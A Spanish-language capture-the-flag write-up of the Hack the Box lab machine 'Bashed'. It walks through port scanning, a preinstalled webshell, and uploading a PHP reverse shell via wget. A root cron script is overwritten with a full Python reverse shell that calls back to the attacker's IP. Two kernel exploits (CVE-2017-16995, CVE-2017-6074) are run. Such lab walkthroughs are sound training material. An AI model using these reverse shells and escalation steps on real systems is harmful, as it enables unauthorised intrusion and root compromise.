En este post voy a vulnerar la máquina Bashed de Hack the Box. Es una máquina Linux, de nivel fácil bastante rara ya que lleva una «webshell» preinstalada y la escalada de privilegios es fácilmente explotable tanto por permisos y cronjobs como por vulnerabilidades a nivel de kernel.
Enumeración
Comienzo escaneado los 65535 puertos existentes en el protocolo TCP, estableciendo un envío mínimo de 10000 paquetes por segundo.
nmap -p- --open -n --min-rate 10000 10.10.10.68
En la máquina hay un puerto abierto. Escaneo el puerto que he encontrado para ver la versión del servicio que está corriendo en él y ejecuto una serie de scripts de enumeración básicos.
nmap -p80 --script http-enum 10.10.10.68 Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-23 17:44 CET Nmap scan report for 10.10.10.68 Host is up (0.12s latency). PORT STATE SERVICE 80/tcp open http | http-enum: | /css/: Potentially interesting directory w/ listing on 'apache/2.4.18 (ubuntu)' | /dev/: Potentially interesting directory w/ listing on 'apache/2.4.18 (ubuntu)' | /images/: Potentially interesting directory w/ listing on 'apache/2.4.18 (ubuntu)' | /js/: Potentially interesting directory w/ listing on 'apache/2.4.18 (ubuntu)' | /php/: Potentially interesting directory w/ listing on 'apache/2.4.18 (ubuntu)' |_ /uploads/: Potentially interesting folder
Explotación
Accedo a la web pero no encuentro nada que pueda ser interesante. Solo encuentro un post en el que el autor dice haber desarrollado una shell de bash en php en el mismo servidor. Esta misma herramienta se encuentra en el github del autor de la máquina.
Continuo accediendo a los directorios encontrados. El más interesante suele ser /uploads/ por lo que accedo a este y veo que me aparece una ventana en blanco.
Al aparecer totalmente en blanco quiere decir que se está bloqueando su lectura, no que esté vacío o que no exista.
Sigo visitando uno a uno los directorios, sin encontrar nada interesante, hasta que llego al directorio /dev/ donde encuentro dos ficheros en .php y uno tiene el mismo nombre que el post de la web (en el que hablaba de que ha creado una shell de bash en php).
Accedo al fichero y efectivamente encuentro una shell de bash.
Intento conseguir una shell reversa ejecutando comandos en diferentes lenguajes pero ninguna funciona. También intento subir un binario en php a este directorio pero tampoco me deja hacerlo.
Listo los permisos de todos los directorios que hay dentro del html y veo que en el único que tengo permisos de escritura, lectura y ejecución es en el directorio /uploads/ (el que la web bloquea la lectura)
ls -ls ../
Subo el binario de una shell reversa en php de pentestmonkey a través de un servidor en HTTP en python que he levantado.
wget http://10.10.14.7:8000/shell.php
Al acceder nuevamente al directorio a través del navegador web sigue apareciendo todo en blanco pero si miro la respuesta de mi servidor veo que el binario se ha subido correctamente.
Pongo un netcat a la escucha, abro el binario y consigo una shell reversa.
La consola no es tty y para que sea OSCP Friendly es necesario que lo sea. Al final de este post indicaré los pasos que he seguido para conseguirla.
La flag de usuario la encuentro en la ruta /home/arrexels/user.txt.
Escalada de Privilegios
Hay dos vías para la escalada de privilegios, la primera comprometiendo los permisos del sistema o de binario y la segunda mediante vulnerabilidades de kernel.
Método 1. Permisos
Actualmente soy el usuario www-data. Ejecuto un sudo -l para enumerar los privilegios de root (los comandos de root) que puedo ejecutar y veo que no tengo ningún permiso como root pero puedo ejecutar cualquier comando como el usuario scriptmanager (con la opción -u) por lo que lanzo un comando que me de una consola sh y me convierto en el usuario scriptmanager.
sudo -l sudo -u scriptmanager whoami sudo -u scriptmanager /bin/sh
Listo las carpetas del directorio raíz y me llama la atención una llamada /scripts que es propiedad de mi usuario (todas las demás son propiedad de root).
Accedo al directorio y encuentro un fichero, llamado test.py, que es propiedad de mi usuario y otro, llamado test.txt, que es propiedad de root.
Abro el fichero test.txt y solo encuentro la frase testing 123!.
Abro el fichero test.py y veo que es un script.
f = open("test.txt", "w")
f.write("testing 123!")
f.close
El script es bastante sencillo. Solamente abre el fichero test.txt, escribe la frase que testing 123! y luego lo cierra.
El usuario scriptmanager está escribiendo en un fichero propiedad de root, por lo que debe haber algun permiso de archivo otorgado a scriptmanager pero como he visto anteriormente, no es un permiso SUID. Supongo que se ha otorgado un permiso especial al directorio /scripts para que el usuarios scriptmanager pueda modificar o crear ficheros propiedad de root.
También me resulta llamativa la fecha de test.txt y que es muy reciente a mi hora actual. Seguramente se esté ejecutando un cronjob de test.py como root.
Una vez entendido como funciona se me ocurre que puedo modificar el contenido de test.py para que me genere una shell reversa que, al ejecutarse como root, será una shell de root.
Borro el contenido del fichero test.py y añado una shell reversa en python (pentestmonkey).
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.7",7898))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
Pongo un netcat a la escucha y simplemente espero a que se ejecute la tarea.
La consola no es tty y para que sea OSCP Friendly es necesario que lo sea. Al final de este post indicaré los pasos que he seguido para conseguirla.
La flag de root la encuentro en /root/root.txt (el directorio raíz del usuario).
Método 2. Vulnerabilidades de Kernel
Esta máquina es una distribución de Ubuntu 16.04.2 LTS (bastante vieja), por lo que han aparecido múltiples vulnerabilidades a nivel de kernel hasta la fecha. Las enumero todas con Linux Exploit Suggester pero en este post solo probaré las dos primeras (tampoco tienen porqué funcionar todas).
Los dos binarios están disponibles en la BBDD de kali linux y, también, se pueden descargar desde exploit-db.
eBPF_verifier
Está vulnerabilidad está registrada como CVE-2017-16995 y ya fué explotada en la máquina help. Como la máquina no tiene gcc instalado, compilo el binario en mi máquina y lo subo mediante un servidor http en python. Luego le doy permisos de ejecución y lo ejecuto.
ls -l chmod +x 45010 ./45010
dccp
Está vulnerabilidad está registrada como CVE-2017-6074. Como la máquina no tiene gcc instalado, compilo el binario en mi máquina y lo subo mediante un servidor http en python. Luego le doy permisos de ejecución y lo ejecuto.
chmod +x 41458 ls -l ./41458
Consola tty
Como ya he dicho anteriormente, para que la máquina esté resuelta de modo OSCP Friendly, es necesario conseguir una shell tty, por lo menos para la flag de root. Con los siguientes comandos consigo convertir la shell en shell tty en python facilmente.
script /dev/null -c bash ^Z
CTRL + Z
Ahora sin cambiar de ventana.
stty raw -echo; fg reset
Y con esto vuelvo a la shell reversa. Añado los siguientes comandos.
xterm export TERM=xterm export SHELL=bash
Y ya he conseguido una consola tty.
Para finalizar (esto es opcional) solo me faltaría adaptar las dimensiones de la shell de la consola a las de mi ventana de shell. En una shell de mi máquina atacante compruebo las dimensiones de la ventana.
stty size
Y las modifico en la shell reversa.
stty rows [X] columns [Y]